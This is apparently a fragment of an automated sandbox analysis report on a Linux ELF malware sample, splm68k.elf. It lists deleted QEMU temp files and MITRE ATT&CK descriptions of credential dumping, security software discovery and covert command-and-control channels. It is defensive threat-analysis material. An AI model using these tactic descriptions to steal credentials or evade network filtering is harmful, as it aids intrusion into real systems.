/tmp/qemu-open.7cu7jl (deleted)

/tmp/qemu-open.8PSXgh (deleted)

/tmp/qemu-open.9otbfi (deleted)

/tmp/qemu-open.A7qFQi (deleted)

/tmp/qemu-open.AryKel (deleted)

/tmp/qemu-open.AsAXUk (deleted)

/tmp/qemu-open.BOR8Di (deleted)

/tmp/qemu-open.BWmLyh (deleted)

/tmp/qemu-open.BwzVwk (deleted)

/tmp/qemu-open.CbMsZk (deleted)

/tmp/qemu-open.EW3TMi (deleted)

/tmp/qemu-open.FSjJRj (deleted)

/tmp/qemu-open.G1zdqj (deleted)

/tmp/qemu-open.GkGPWk (deleted)

/tmp/qemu-open.HCHOIi (deleted)

/tmp/qemu-open.HEuGch (deleted)

/tmp/qemu-open.Ha8ZEi (deleted)

/tmp/qemu-open.HqzUtk (deleted)

/tmp/qemu-open.HtS2pi (deleted)

/tmp/qemu-open.ISPq0j (deleted)

/tmp/qemu-open.IbRGsi (deleted)

Linux Analysis Report
splm68k.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre